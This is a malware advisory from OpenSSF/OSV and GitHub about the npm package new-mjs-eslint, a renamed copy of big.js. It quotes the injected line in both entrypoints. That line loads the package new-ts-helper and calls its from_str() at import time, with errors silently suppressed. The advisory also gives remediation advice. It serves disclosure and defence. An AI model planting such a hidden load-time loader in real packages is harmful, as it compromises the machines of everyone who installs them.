OpenSSF/OSV advisory MAL-2026-6226 confirms this npm version as malicious. Package is published under the unrelated name 'new-mjs-eslint' but ships a verbatim copy of the big.js decimal-arithmetic library (original MikeMcl/big.js header, README, and source). Both main entrypoints, big.js and big.mjs, contain an injected line at lines 605-606: `const helper = require("new-ts-helper"); helper.from_str().then(e => e).catch(e => { });`...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in new-mjs-eslint (npm)
Details
Package is published under the unrelated name 'new-mjs-eslint' but ships a verbatim copy of the big.js decimal-arithmetic library (original MikeMcl/big.js header, README, and source). Both main entrypoints, big.js and big.mjs, contain an injected line at lines 605-606: `const helper = require("new-ts-helper"); helper.from_str().then(e => e).catch(e => { });`. This fires on every require()/import of the package, loads the sibling dependency new-ts-helper, invokes its from_str() function, and silently swallows any error. The package name does not match its advertised content (eslint-shaped name, big.js content), the injected call sits mid-file rather than at a natural import location, and errors are deliberately suppressed — the entrypoint is a delivery vector for whatever code new-ts-helper ships, executed at load time on any installer that imports the package.
## Source: ghsa-malware (33c541d27ff115106c670596de30296c9f70a28b44032568aa5d91045f06e5ae) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
OpenSSF Malicious Packages via OSV confirms new-mjs-eslint@7.0.6 as malicious (MAL-2026-6226): Malicious code in new-mjs-eslint (npm)